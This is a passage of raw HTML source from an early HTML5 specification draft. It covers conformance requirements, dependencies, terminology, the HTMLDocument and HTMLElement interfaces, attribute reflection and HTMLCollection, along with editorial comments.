also apply to     authoring tools, where appropriate.</p>    <p class=big-issue>This needs expanding (see source).</p>    <!--> The requirement that authoring tools must generate conforming documents> should probably also make the distinction between the three types of> conformance requirements made in the section on conformance tools.  I> would say that authoring tools must generate documents that conform to> the first two requirements and should encourage their users to generate> documents that conform to the third.  I'd also allow an exception for> preservation of nonconformant content across editing operations, since> in editors often should not change content unrelated to what is being> edited.I've noted this in the markup for now. I need to take a much closer lookat the conformance requirements for editors; in particular I've beentalking to a number of people who implement HTML editors and theirunanimous feedback is that it is unrealistic to prevent them fromincluding presentational markup, because the state of the art in UI doesnot yet have a way of conveying "semantics" in a comprehensive way.Thus the conformance criteria for editors will probably be changed toallow them to include <font> markup while still defining such documents tobe non-conformant HTML5 documents.Or something. Like I said, this needs thought (feel free to mail ideasand suggestions on this to the list, btw).-->      </dl>  <p>Some conformance requirements are phrased as requirements on elements,   attributes, methods or objects. Such requirements fall into two   categories; those describing content model restrictions, and those   describing implementation behaviour. The former category of requirements   are requirements on documents and authoring tools. The second category are   requirements on user agents.  <p>Conformance requirements phrased as algorithms or specific steps may be   implemented in any manner, so long as the end result is equivalent. (In   particular, the algorithms defined in this specification are intended to   be easy to follow, and not intended to be performant.)  <p id=hardwareLimitations>User agents may impose implementation-specific   limits on otherwise unconstrained inputs, e.g. to prevent denial of   service attacks, to guard against running out of memory, or to work around   platform-specific limitations.  <p>For compatibility with existing content and prior specifications, this   specification describes two authoring formats: one based on XML (referred   to as <dfn id=xhtml5 title=XHTML>XHTML5</dfn>), and one using a <a   href="#parsing">custom format</a> inspired by SGML (referred to as <dfn   id=html5>HTML5</dfn>). Implementations may support only one of these two   formats, although supporting both is encouraged.  <p id=authors-using-xhtml><a href="#xhtml5">XHTML</a> documents (<a   href="#xml-documents">XML documents</a> using elements from the <a   href="#html-namespace0">HTML namespace</a>) that use the new features   described in this specification and that are served over the wire (e.g. by   HTTP) must be sent using an XML MIME type such as   <code>application/xml</code> or <code>application/xhtml+xml</code> and   must not be served as <code>text/html</code>. <a   href="#refsRFC3023">[RFC3023]</a>  <p>Such XML documents may contain a <code>DOCTYPE</code> if desired, but   this is not required to conform to this specification.  <p id=authors-using-html><a href="#html-">HTML documents</a>, if they are   served over the wire (e.g. by HTTP) must be labelled with the   <code>text/html</code> MIME type.</p>  <!-- XXX update RFC 2854 -->  <p id=entity-references>The language in this specification assumes that the   user agent expands all entity references, and therefore does not include   entity reference nodes in the DOM. If user agents do include entity   reference nodes in the DOM, then user agents must handle them as if they   were fully expanded when implementing this specification. For example, if   a requirement talks about an element's child text nodes, then any text   nodes that are children of an entity reference that is a child of that   element would be used as well.</p>  <!-- XXX unexpandable entities? -->  <p class=big-issue>A lot of arrays/lists/<span>collection</span>s in this   spec assume zero-based indexes but use the term "<var   title="">index</var>th" liberally. We should define those to be zero-based   and be clearer about this.  <h4 id=dependencies><span class=secno>1.3.1. </span>Dependencies</h4>  <p>This specification relies on several other underlying specifications.  <dl>   <dt>XML   <dd>    <p>Implementations that support XHTML5 must support some version of XML,     as well as its corresponding namespaces specification, because XHTML5     uses an XML serialisation with namespaces. <a href="#refsXML">[XML]</a>     <a href="#refsXMLNAMES">[XMLNAMES]</a></p>   <dt>XML Base   <dd>    <p id=xmlBase>User agents must follow the rules given by XML Base to     resolve relative URIs in HTML and XHTML fragments, because that is the     mechanism used in this specification for resolving relative URIs in DOM     trees. <a href="#refsXMLBASE">[XMLBASE]</a></p>    <p class=note>It is possible for <code>xml:base</code> attributes to be     present even in HTML fragments, as such attributes can be added     dynamically using script.</p>   <dt>DOM   <dd>    <p>Implementations must support some version of DOM Core and DOM Events,     because this specification is defined in terms of the DOM, and some of     the features are defined as extensions to the DOM Core interfaces. <a     href="#refsDOM3CORE">[DOM3CORE]</a> <a     href="#refsDOM3CORE">[DOM3EVENTS]</a></p>    <p>Implementations must support some version of the Window Object,     because this specification extends this interface to provide some of its     features. <a href="#refsWINDOW">[WINDOW]</a></p>   <dt>ECMAScript   <dd>    <p>Implementations that use ECMAScript to implement the APIs defined in     this specification must implement them in a manner consistent with the     ECMAScript Bindings for DOM Specifications specification, as this     specification uses that specification's terminology. <a     href="#refsEBFD">[EBFD]</a></p>  </dl>  <p>This specification does not require support of any particular network   transport protocols, image formats, audio formats, video formats, style   sheet language, scripting language, or any of the DOM and WebAPI   specifications beyond those described above. However, the language   described by this specification is biased towards CSS as the styling   language, ECMAScript as the scripting language, and HTTP as the network   protocol, and several features assume that those languages and protocols   are in use.  <h4 id=features><span class=secno>1.3.2. </span>Features defined in other   specifications</h4>  <p>Some elements are defined in terms of their DOM <dfn   id=textcontent><code>textContent</code></dfn> attribute. This is an   attribute defined on the <code>Node</code> interface in DOM3 Core. <a   href="#refsDOM3CORE">[DOM3CORE]</a>  <p class=big-issue>Should textContent be defined differently for dir="" and   AMPERSANDlt;bdo>? Should we come up with an alternative to textContent that   handles those and other things, like alt=""?</p>  <!-- This section is currently here exclusively so that we crossref  to textContent. XXX also add event-click, event-change,  event-DOMActivate, etc, here, and just have the section be a general  "defined in other specifications" section -->  <p>The terms <dfn id=browsing>browsing context</dfn> and <dfn   id=top-level>top-level browsing context</dfn> are used as defined in the   Window Object specification. <a href="#refsWINDOW">[WINDOW]</a>  <h4 id=relationship><span class=secno>1.3.3. </span>Relationship to HTML   4.01, XHTML 1.1, DOM2 HTML</h4>  <p><em>This section is non-normative.</em>  <p>This specification represents a new version of HTML4 and XHTML1, along   with a new version of the associated DOM2 HTML API. Migration from HTML4   or XHTML1 to the format and APIs described in this specification should in   most cases be straightforward, as care has been taken to ensure that   backwards-compatibility is retained.</p>  <!-- XXX refs -->  <p>This specification will eventually supplant Web Forms 2.0 as well. <a   href="#refsWF2">[WF2]</a>  <h4 id=relationship0><span class=secno>1.3.4. </span>Relationship to XHTML2</h4>  <p><em>This section is non-normative.</em>  <p>XHTML2 <a href="#refsXHTML2">[XHTML2]</a> defines a new HTML vocabulary   with better features for hyperlinks, multimedia content, annotating   document edits, rich metadata, declarative interactive forms, and   describing the semantics of human literary works such as poems and   scientific papers.  <p>However, it lacks elements to express the semantics of many of the   non-document types of content often seen on the Web. For instance, forum   sites, auction sites, search engines, online shops, and the like, do not   fit the document metaphor well, and are not covered by XHTML2.  <p><em>This</em> specification aims to extend HTML so that it is also   suitable in these contexts.  <p>XHTML2 and this specification use different namespaces and therefore can   both be implemented in the same XML processor.  <h4 id=relationship1><span class=secno>1.3.5. </span>Relationship to XUL,   WPF/XAML, and other proprietary UI languages</h4>  <p><em>This section is non-normative.</em>  <p>This specification is independent of the various proprietary UI   languages that various vendors provide.</p>  <!-- XXX flesh this out? -->  <h3 id=terminology><span class=secno>1.4. </span>Terminology</h3>  <p>This specification refers to both HTML and XML attributes and DOM   attributes, often in the same context. When it is not clear which is being   referred to, they are referred to as <dfn id=content>content   attributes</dfn> for HTML and XML attributes, and <dfn   id=dom-attributes>DOM attributes</dfn> for those from the DOM. Similarly,   the term "properties" is used for both ECMAScript object properties and   CSS properties. When these are ambiguous they are qualified as object   properties and CSS properties respectively.  <p id=html-namespace>To ease migration from HTML to XHTML, UAs conforming   to this specification will place elements in HTML in the   <code>http://www.w3.org/1999/xhtml</code> namespace, at least for the   purposes of the DOM and CSS. The term "<dfn id=elements1>elements in the   HTML namespace</dfn>", or "<dfn id=html-elements>HTML elements</dfn>" for   short, when used in this specification, thus refers to both HTML and XHTML   elements.  <p>Unless otherwise stated, all elements defined or mentioned in this   specification are in the <code>http://www.w3.org/1999/xhtml</code>   namespace, and all attributes defined or mentioned in this specification   have no namespace (they are in the per-element partition).  <p>The term <a href="#html-">HTML documents</a> is sometimes used in   contrast with <a href="#xml-documents">XML documents</a> to mean   specifically documents that were parsed using an <a href="#html-0">HTML   parser</a> (as opposed to using an XML parser or created purely through   the DOM).  <p>Generally, when the specification states that a feature applies to HTML   or XHTML, it also includes the other. When a feature specifically only   applies to one of the two languages, it is called out by explicitly   stating that it does not apply to the other format, as in "for HTML, ...   (this does not apply to XHTML)".  <p>This specification uses the term <em>document</em> to refer to any use   of HTML, ranging from short static documents to long essays or reports   with rich multimedia, as well as to fully-fledged interactive   applications.  <p>For readability, the term URI is used to refer to both ASCII URIs and   Unicode IRIs, as those terms are defined by <a   href="#refsRFC3986">[RFC3986]</a> and <a href="#refsRFC3987">[RFC3987]</a>   respectively. On the rare occasions where IRIs are not allowed but ASCII   URIs are, this is called out explicitly.  <p>The term <dfn id=root-element>root element</dfn>, when not qualified to   explicitly refer to the document's root element, means the furthest   ancestor element node of whatever node is being discussed, or the node   itself is there is none. When the node is a part of the document, then   that is indeed the document's root element. However, if the node is not   currently part of the document tree, the root element will be an orphaned   node.  <p>An element is said to have been <dfn id=inserted title="insert an   element into a document">inserted into a document</dfn> when its <a   href="#root-element">root element</a> changes and is now the document's <a   href="#root-element">root element</a>.  <p>The term <dfn id=tree-order>tree order</dfn> means a pre-order,   depth-first traversal of DOM nodes involved (through the <code   title="">parentNode</code>/<code title="">childNodes</code> relationship).  <p>When it is stated that some element or attribute is <dfn id=ignored   title=ignore>ignored</dfn>, or treated as some other value, or handled as   if it was something else, this refers only to the processing of the node   after it is in the DOM. A user agent must not mutate the DOM in such   situations.  <p>When an XML name, such as an attribute or element name, is referred to   in the form <code><var title="">prefix</var>:<var   title="">localName</var></code>, as in <code>xml:id</code> or   <code>svg:rect</code>, it refers to a name with the local name <var   title="">localName</var> and the namespace given by the prefix, as defined   by the following table:  <dl>   <dt><code title="">xml</code>   <dd><code>http://www.w3.org/XML/1998/namespace</code>   <dt><code title="">html</code>   <dd><code>http://www.w3.org/1999/xhtml</code>   <dt><code title="">svg</code>   <dd><code>http://www.w3.org/2000/svg</code>  </dl>  <p>For simplicity, terms such as <em>shown</em>, <em>displayed</em>, and   <em>visible</em> might sometimes be used when referring to the way a   document is rendered to the user. These terms are not meant to imply a   visual medium; they must be considered to apply to other media in   equivalent ways.  <p>Various DOM interfaces are defined in this specification using   pseudo-IDL. This looks like OMG IDL but isn't. For instance, method   overloading is used, and types from the W3C DOM specifications are used   without qualification. Language-specific bindings for these abstract   interface definitions must be derived in the way consistent with W3C DOM   specifications. Some interface-specific binding information for ECMAScript   is included in this specification.  <p class=big-issue>The current situation with IDL blocks is pitiful. IDL is   totally inadequate to properly represent what objects have to look like in   JS; IDL can't say if a member is enumerable, what the indexing behaviour   is, what the stringification behaviour is, what behaviour setting a member   whose type is a particular interface should be (e.g. setting of   document.location or element.className), what constructor an object   implementing an interface should claim to have, how overloads work, etc. I   think we should make the IDL blocks non-normative, and/or replace them   with something else that is better for JS while still being clear on how   it applies to other languages. However, we do need to have something that   says what types the methods take as arguments, since we have to raise   exceptions if they are wrong.  <p>The construction "a <code>Foo</code> object", where <code>Foo</code> is   actually an interface, is sometimes used instead of the more accurate "an   object implementing the interface <code>Foo</code>".  <p>A DOM attribute is said to be <em>getting</em> when its value is being   retrieved (e.g. by author script), and is said to be <em>setting</em> when   a new value is assigned to it.  <p>If a DOM object is said to be <dfn id=live>live</dfn>, then that means   that any attributes returning that object must always return the same   object (not a new object each time), and the attributes and methods on   that object must operate on the actual underlying data, not a snapshot of   the data.</p>  <!-- XXX should define "same instance of" to mean JS===. -->  <p>The terms <em>fire</em> and <em>dispatch</em> are used interchangeably   in the context of events, as in the DOM Events specifications. <a   href="#refsDOM3EVENTS">[DOM3EVENTS]</a>  <p>The term <dfn id=text-node>text node</dfn> refers to any   <code>Text</code> node, including <code>CDATASection</code> nodes (any   <code>Node</code> with node type 3 or 4).  <p>Some of the algorithms in this specification, for historical reasons,   require the user agent to <dfn id=pause>pause</dfn> until some condition   has been met. While a user agent is paused, it must ensure that no scripts   execute (e.g. no event handlers, no timers, etc). User agents should   remain responsive to user input while paused, however.  <h4 id=html-vs><span class=secno>1.4.1. </span>HTML vs XHTML</h4>  <p><em>This section is non-normative.</em>  <p>This specification defines an abstract language for describing documents   and applications, and some APIs for interacting with in-memory   representations of resources that use this language.  <p>The in-memory representation is known as "DOM5 HTML", or "the DOM" for   short.  <p>There are various concrete syntaxes that can be used to transmit   resources that use this abstract language, two of which are defined in   this specification.  <p>The first such concrete syntax is "HTML5". This is the format   recommended for most authors. It is compatible with all legacy Web   browsers. If a document is transmitted with the MIME type <code   title="">text/html</code>, then it will be processed as an "HTML5"   document by Web browsers.  <p>The second concrete syntax uses XML, and is known as "XHTML5". When a   document is transmitted with an XML MIME type, such as <code   title="">application/xhtml+xml</code>, then it is processed by an XML   processor by Web browsers, and treated as an "XHTML5" document. Generally   speaking, authors are discouraged from trying to use XML on the Web,   because XML has much stricter syntax rules than the "HTML5" variant   described above, and is relatively newer and therefore less mature.  <p>The "DOM5 HTML", "HTML5", and "XHTML5" representations cannot all   represent the same content. For example, namespaces cannot be represented   using "HTML5", but they are supported in "DOM5 HTML" and "XHTML5".   Similarly, documents that use the <code><a   href="#noscript0">noscript</a></code> feature can be represented using   "HTML5", but cannot be represented with "XHTML5" and "DOM5 HTML". Comments   that contain the string "<code title="">--AMPERSANDgt;</code>" can be represented   in "DOM5 HTML" but not in "HTML5" and "XHTML5". And so forth.  <h2 id=dom><span class=secno>2. </span>The Document Object Model</h2>  <p>The Document Object Model (DOM) is a representation AMPERSANDmdash; a model   AMPERSANDmdash; of a document and its content. <a   href="#refsDOM3CORE">[DOM3CORE]</a> The DOM is not just an API; the   conformance criteria of HTML implementations are defined, in this   specification, in terms of operations on the DOM.  <p>This specification defines the language represented in the DOM by   features together called DOM5 HTML. DOM5 HTML consists of DOM Core   <code>Document</code> nodes and DOM Core <code>Element</code> nodes, along   with text nodes and other content.  <p>Elements in the DOM represent things; that is, they have intrinsic   <em>meaning</em>, also known as semantics.  <p class=example>For example, a <code><a href="#p0">p</a></code> element   represents a paragraph.  <p>In addition, documents and elements in the DOM host APIs that extend the   DOM Core APIs, providing new features to application developers using DOM5   HTML.  <h3 id=documents><span class=secno>2.1. </span>Documents</h3>  <p>Every XML and HTML document in an HTML UA is represented by a   <code>Document</code> object. <a href="#refsDOM3CORE">[DOM3CORE]</a>  <p><code>Document</code> objects are assumed to be <dfn   id=xml-documents>XML documents</dfn> unless they are flagged as being <dfn   id=html->HTML documents</dfn> when they are created. Whether a document is   an <a href="#html-" title="HTML documents">HTML document</a> or an <a   href="#xml-documents" title="XML documents">XML document</a> affects the   behaviour of certain APIs, as well as a few CSS rendering rules. <a   href="#refsCSS21">[CSS21]</a>  <p class=note>A <code>Document</code> object created by the <code   title="">createDocument()</code> API on the <code>DOMImplementation</code>   object is initially an <a href="#xml-documents" title="XML documents">XML   document</a>, but can be made into an <a href="#html-" title="HTML   documents">HTML document</a> by calling <code title=dom-document-open><a   href="#open">document.open()</a></code> on it.  <p>All <code>Document</code> objects (in user agents implementing this   specification) must also implement the <code><a   href="#htmldocument">HTMLDocument</a></code> interface, available using   binding-specific methods. (This is the case whether or not the document in   question is an <a href="#html-" title="HTML documents">HTML document</a>   or indeed whether it contains any <a href="#html-elements">HTML   elements</a> at all.) <code>Document</code> objects must also implement   the document-level interface of any other namespaces found in the document   that the UA supports. For example, if an HTML implementation also supports   SVG, then the <code>Document</code> object must implement <code><a   href="#htmldocument">HTMLDocument</a></code> and <code>SVGDocument</code>.  <p class=note>Because the <code><a   href="#htmldocument">HTMLDocument</a></code> interface is now obtained   using binding-specific casting methods instead of simply being the primary   interface of the document object, it is no longer defined as inheriting   from <code>Document</code>.  <pre class=idl>interface <dfn id=htmldocument>HTMLDocument</dfn> {  // <a href="#resource1">Resource metadata management</a>  readonly attribute DOMString <a href="#url" title=dom-document-URL>URL</a>;           attribute DOMString <a href="#domain" title=dom-document-domain>domain</a>;  readonly attribute DOMString <a href="#referrer" title=dom-document-referrer>referrer</a>;           attribute DOMString <a href="#cookie0" title=dom-document-cookie>cookie</a>;  // <a href="#dom-tree1">DOM tree accessors</a>           attribute DOMString <a href="#document.title" title=dom-document-title>title</a>;           attribute <a href="#htmlelement">HTMLElement</a> <a href="#body0" title=dom-document-body>body</a>;  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#images0" title=dom-document-images>images</a>;<!--  readonly attribute <span>HTMLCollection</span> <span title="dom-document-applets">applets</span>;-->  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#links0" title=dom-document-links>links</a>;  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#forms0" title=dom-document-forms>forms</a>;  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#anchors" title=dom-document-anchors>anchors</a>;  NodeList <a href="#getelementsbyname" title=dom-document-getElementsByName>getElementsByName</a>(in DOMString elementName);  NodeList <a href="#getelementsbyclassname" title=dom-document-getElementsByClassName>getElementsByClassName</a>(in DOMString[] classNames);  // <a href="#dynamic3">Dynamic markup insertion</a>           attribute DOMString <a href="#innerhtml" title=dom-innerHTML>innerHTML</a>;  void <a href="#open" title=dom-document-open>open</a>();  void <a href="#open" title=dom-document-open>open</a>(in DOMString type);  void <a href="#open" title=dom-document-open>open</a>(in DOMString type, in DOMString replace);  void <a href="#open" title=dom-document-open>open</a>(in DOMString url, in DOMString name, in DOMString features);  void <a href="#open" title=dom-document-open>open</a>(in DOMString url, in DOMString name, in DOMString features, in bool replace);  void <a href="#close" title=dom-document-close>close</a>();  void <a href="#document.write" title=dom-document-write>write</a>(in DOMString text);  void <a href="#document.writeln" title=dom-document-writeln>writeln</a>(in DOMString text);  // <a href="#interaction2">Interaction</a>  readonly attribute <span>Element</span> <a href="#activeelement" title=dom-document-activeElement>activeElement</a>;  readonly attribute boolean <a href="#hasfocus" title=dom-document-hasFocus>hasFocus</a>;  // <a href="#command2" title=concept-command>Commands</a>  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#commands0" title=dom-document-commands>commands</a>;  // <a href="#editing1">Editing</a>           attribute boolean <a href="#designmode" title=dom-document-designMode>designMode</a>;  boolean <a href="#execcommand" title=dom-document-execCommand>execCommand</a>(in DOMString commandID);  boolean <a href="#execcommand" title=dom-document-execCommand>execCommand</a>(in DOMString commandID, in boolean doShowUI);  boolean <a href="#execcommand" title=dom-document-execCommand>execCommand</a>(in DOMString commandID, in boolean doShowUI, in DOMString value);  <a href="#selection1">Selection</a> <a href="#getselection0" title=dom-document-getSelection>getSelection</a>();  // <a href="#cross-document0">Cross-document messaging</a>  void <a href="#postmessage" title=dom-document-postMessage>postMessage</a>(in DOMString message);  <span title=big-issue>// lots of other stuff to come</span><!-- --><!-- XXX see e.g. http://lxr.mozilla.org/seamonkey/source/dom/public/idl/html/nsIDOMNSHTMLDocument.idl --><!-- XXX see e.g. http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/dom/Document.cpp --><!-- XXX see e.g. http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLDocument.cpp -->};</pre>  <p class=note>This specification requires that implementations also   implement some version of the Window object specification, so all <code><a   href="#htmldocument">HTMLDocument</a></code> objects also implement the   <code>DocumentWindow</code> object and thus the <code>DocumentView</code>   object.  <p>Since the <code><a href="#htmldocument">HTMLDocument</a></code>   interface holds methods and attributes related to a number of disparate   features, the members of this interface are described in various different   sections.  <h4 id=resource><span class=secno>2.1.1. </span><dfn id=resource1>Resource   metadata management</dfn></h4>  <p>The <dfn id=url title=dom-document-URL><code>URL</code></dfn> attribute   must return the <span>the document's address</span><!--  XXX xref -->.  <p>The <dfn id=domain title=dom-document-domain><code>domain</code></dfn>   attribute must be initialised to <span>the document's   domain</span><!-- XXX xref --> upon the creation of the   <code>Document</code> object. On getting, the attribute must return its   current value. On setting, if the new value is an allowed value (as   defined below), the attribute's value must be changed to the new value. If   the new value is not an allowed value, then a <a   href="#security2">security exception</a> must be raised instead.  <p>A new value is an allowed value for the <code   title=dom-document-domain><a href="#domain">document.domain</a></code>   attribute if it is equal to the attribute's current value, or if the new   value, prefixed by a U+002E FULL STOP ("."), exactly matches the end of   the current value.  <p class=note>The <code title=dom-document-domain><a   href="#domain">domain</a></code> attribute is used to enable pages on   different hosts of a domain to access each others' DOMs.</p>  <!-- XXX xref -->  <!--XXX    http://lxr.mozilla.org/seamonkey/source/content/html/document/src/nsHTMLDocument.cpp    search for ::GetDomain ::SetDomain    http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/dom/Document.cpp    search for ::domain ::setDomain  -->  <p>The <dfn id=referrer   title=dom-document-referrer><code>referrer</code></dfn> attribute must   return either the URI of the page which navigated<!-- xref XXX  --> the   <a href="#browsing">browsing context</a> to the current document (if any),   or the empty string (if there is no such originating page, or if the UA   has been configured not to report referrers).  <p class=note>In the case of HTTP, the <code title=dom-document-referrer><a   href="#referrer">referrer</a></code> DOM attribute will match the   <code>Referer</code> (sic) header that was sent when fetching the current   page.  <p>The <dfn id=cookie0 title=dom-document-cookie><code>cookie</code></dfn>   attribute must, on getting, return the same string as the value of the   <code title="">Cookie</code> HTTP header it would include if fetching the   resource indicated by the <span>document's address</span> over HTTP, as   per RFC 2109 section 4.3.4. <a href="#refsRFC2109">[RFC2109]</a>  <p>On setting, the <code title=dom-document-cookie><a   href="#cookie0">cookie</a></code> attribute must cause the user agent to   act as it would when processing cookies if it had just attempted to fetch   the <span>document's address</span> over HTTP, and had received a response   with a <code>Set-Cookie</code> header whose value was the specified value,   as per RFC 2109 sections 4.3.1, 4.3.2, and 4.3.3. <a   href="#refsRFC2109">[RFC2109]</a>  <h3 id=elements><span class=secno>2.2. </span>Elements</h3>  <p>The nodes representing <a href="#html-elements">HTML elements</a> in the   DOM must implement, and expose to scripts, the interfaces listed for them   in the relevant sections of this specification. This includes <a   href="#xhtml5">XHTML</a> elements in <a href="#xml-documents">XML   documents</a>, even when those documents are in another context (e.g.   inside an XSLT transform).  <p>The basic interface, from which all the <a href="#html-elements">HTML   elements</a>' interfaces inherit, and which must be used by elements that   have no additional requirements, is the <code><a   href="#htmlelement">HTMLElement</a></code> interface.  <pre   class=idl>interface <dfn id=htmlelement>HTMLElement</dfn> : <span>Element</span> {  // <a href="#dom-tree1">DOM tree accessors</a>  NodeList <a href="#getelementsbyclassname0" title=dom-getElementsByClassName>getElementsByClassName</a>(in DOMString[] classNames);  // <a href="#dynamic3">Dynamic markup insertion</a>           attribute DOMString <a href="#innerhtml" title=dom-innerHTML>innerHTML</a>;  // <span>Metadata attributes</span>           attribute DOMString <a href="#id1" title=dom-id>id</a>;           attribute DOMString <a href="#title2" title=dom-title>title</a>;           attribute DOMString <a href="#lang1" title=dom-lang>lang</a>;           attribute DOMString <a href="#dir1" title=dom-dir>dir</a>;           attribute <a href="#domtokenstring0">DOMTokenString</a> <a href="#classname" title=dom-className>className</a>;  // <a href="#interaction2">Interaction</a>           attribute long <a href="#tabindex0" title=dom-tabindex>tabindex</a>;  void <a href="#click" title=dom-click>click</a>();  void <a href="#focus0" title=dom-focus>focus</a>();  void <a href="#blur" title=dom-blur>blur</a>();  // <a href="#command2" title=concept-command>Commands</a>           attribute <span>HTMLMenuElement</span> <a href="#contextmenu0" title=dom-contextMenu>contextMenu</a>;  // <a href="#editing1">Editing</a>           attribute boolean <a href="#draggable1" title=dom-draggable>draggable</a>;           attribute DOMString <a href="#contenteditable1" title=dom-contenteditable>contenteditable</a>;  // <a href="#event2">event handler DOM attributes</a>           attribute <span>EventListener</span> <a href="#onclick" title=handler-onclick>onclick</a>;           ...more events...};</pre>  <!-- XXXclick() https://bugzilla.mozilla.org/attachment.cgi?id=176950also focus(), blur(), etc.should the click, focus, blur methods be recursible?-->  <p>As with the <code><a href="#htmldocument">HTMLDocument</a></code>   interface, the <code><a href="#htmlelement">HTMLElement</a></code>   interface holds methods and attributes related to a number of disparate   features, and the members of this interface are therefore described in   various different sections of this specification.  <h4 id=reflecting><span class=secno>2.2.1. </span>Reflecting content   attributes in DOM attributes</h4>  <p>Some <span title="DOM attribute">DOM attributes</span> are defined to   <dfn id=reflect>reflect</dfn> a particular <span>content attribute</span>.   This means that on getting, the DOM attribute returns the current value of   the content attribute, and on setting, the DOM attribute changes the value   of the content attribute to the given value.  <p>If a reflecting DOM attribute is a <code>DOMString</code> attribute   defined to contain a URI, then on getting, the DOM attribute must return   the value of the content attribute, resolved to an absolute URI, and on   setting, must set the content attribute to the specified literal value. If   the content attribute is absent, the DOM attribute must return the default   value, if the content attribute has one, or else the empty string.  <p>If a reflecting DOM attribute is a <code>DOMString</code> attribute that   is not defined to contain a URI, then the getting and setting must be done   in a transparent, case-sensitive manner, except if the content attribute   is defined to only allow a specific set of values. In this latter case,   the attribute's value must first be <span>converted to   lowercase</span><!--XXX xref --> before being returned. If the content   attribute is absent, the DOM attribute must return the default value, if   the content attribute has one, or else the empty string.  <p>If a reflecting DOM attribute is a boolean attribute, then the DOM   attribute must return true if the attribute is set, and false if it is   absent. On setting, the content attribute must be removed if the DOM   attribute is set to false, and must be set to have the same value as its   name if the DOM attribute is set to true.  <p>If a reflecting DOM attribute is a signed integer type   (<code>long</code>) then the content attribute must be parsed according to   <a href="#rules0" title="rules for parsing integers">the rules for parsing   signed integers</a> first. If that fails, or if the attribute is absent,   the default value must be returned instead, or 0 if there is no default   value. On setting, the given value must be converted to a string   representing the number as a <a href="#valid0">valid integer</a> in base   ten and then that string must be used as the new content attribute value.  <p>If a reflecting DOM attribute is an <em>unsigned</em> integer type   (<code>unsigned long</code>) then the content attribute must be parsed   according to <a href="#rules" title="rules for parsing non-negative   integers">the rules for parsing unsigned integers</a> first. If that   fails, or if the attribute is absent, the default value must be returned   instead, or 0 if there is no default value. On setting, the given value   must be converted to a string representing the number as a <a   href="#valid">valid non-negative integer</a> in base ten and then that   string must be used as the new content attribute value.  <p>If a reflecting DOM attribute is of the type <code><a   href="#domtokenstring0">DOMTokenString</a></code>, then on getting it must   return the <code><a href="#domtokenstring0">DOMTokenString</a></code>   object that represents the element's correspending content attribute, and   on setting, the <em>string representation of the new value</em> must   replace the value of the element's <code title=attr-class><a   href="#class6">class</a></code> content attribute, adding such an   attribute if the element doesn't have one. The setter is unusual in that   it expects a string, and does not affect the <code><a   href="#domtokenstring0">DOMTokenString</a></code> object that is returned   on getting. The same <code><a   href="#domtokenstring0">DOMTokenString</a></code> object must be returned   every time. When the attribute is absent, then the string represented by   the <code><a href="#domtokenstring0">DOMTokenString</a></code> object is   the empty string.  <p>If a reflecting DOM attribute has the type <code><a   href="#htmlelement">HTMLElement</a></code>, or an interface that descends   from <code><a href="#htmlelement">HTMLElement</a></code>, then, on   getting, it must run the following algorithm (stopping at the first point   where a value is returned):  <ol>   <li>If the corresponding content attribute is absent, then the DOM    attribute must return null.   <li>Let <var title="">candidate</var> be the element that the <code    title="">document.getElementById()</code> method would find if it was    passed as its argument the current value of the corresponding content    attribute.   <li>If <var title="">candidate</var> is null, or if it is not    type-compatible with the DOM attribute, then the DOM attribute must    return null.   <li>Otherwise, it must return <var title="">candidate</var>.  </ol>  <p>On setting, if the given element has an <code title=attr-id><a   href="#id0">id</a></code> attribute, then the content attribute must be   set to the value of that <code title=attr-id><a href="#id0">id</a></code>   attribute. Otherwise, the DOM attribute must be set to the empty string.</p>  <!-- XXX or raise an exception? -->  <h3 id=common><span class=secno>2.3. </span>Common DOM interfaces</h3>  <h4 id=collections><span class=secno>2.3.1. </span>Collections</h4>  <p>The <code><a href="#htmlcollection0">HTMLCollection</a></code>, <code><a   href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>,   and <code><a   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> interfaces   represent various lists of DOM nodes. Collectively, objects implementing   these interfaces are called <dfn id=collections0>collections</dfn>.  <p>When a <a href="#collections0" title=collections>collection</a> is   created, a filter and a root are associated with the collection.  <p class=example>For example, when the <code><a   href="#htmlcollection0">HTMLCollection</a></code> object for the <code   title=dom-document-images><a href="#images0">document.images</a></code>   attribute is created, it is associated with a filter that selects only   <code><a href="#img0">img</a></code> elements, and rooted at the root of   the document.  <p>The <span>collection</span> then <dfn id=represents title="representated   by the collection">represents</dfn> a <a href="#live">live</a> view of the   subtree rooted at the collection's root, containing only nodes that match   the given filter. The view is linear. In the absence of specific   requirements to the contrary, the nodes within the collection must be   sorted in <a href="#tree-order">tree order</a>.  <p class=note>The <code title=dom-table-rows><a   href="#rows">rows</a></code> list is not in tree order.  <p>An attribute that returns a collection must return the same object every   time it is retrieved.  <h5 id=htmlcollection><span class=secno>2.3.1.1. </span>HTMLCollection</h5>  <p>The <code><a href="#htmlcollection0">HTMLCollection</a></code> interface   represents a generic <span>collection</span> of elements.  <pre class=idl>interface <dfn id=htmlcollection0>HTMLCollection</dfn> {  readonly attribute unsigned long <a href="#length" title=dom-HTMLCollection-length>length</a>;  Element <a href="#itemindex" title=dom-HTMLCollection-item>item</a>(in unsigned long index);  Element <a href="#nameditem" title=dom-HTMLCollection-namedItem>namedItem</a>(in DOMString name);};</pre>  <p>The <dfn id=length   title=dom-HTMLCollection-length><code>length</code></dfn> attribute must   return the number of nodes <span>represented by the collection</span>.  <p>The <dfn id=itemindex title=dom-HTMLCollection-item><code>item(<var   title="">index</var>)</code></dfn> method must return the <var   title="">index</var>th node in the collection. If there is no <var   title="">index</var>th node in the collection, then the method must return   null.  <p>The <dfn id=nameditem   title=dom-HTMLCollection-namedItem><code>namedItem(<var   title="">key</var>)</code></dfn> method must return the first node in the   collection that matches the following requirements:  <ul>   <li>It is an <code><a href="#a0">a</a></code>, <code>applet</code>,    <code><a href="#area0">area</a></code>, <code>form</code>, <code><a    href="#img0">img</a></code>, or <code><a    href="#object0">object</a></code> element with a <code    title=attr-name>name</code> attribute equal to <var title="">key</var>,    or,   <li>It is an HTML element of any kind with an <code title=attr-id><a    href="#id0">id</a></code> attribute equal to <var title="">key</var>.    (Non-HTML elements, even if they have IDs, are not searched for the    purposes of <code 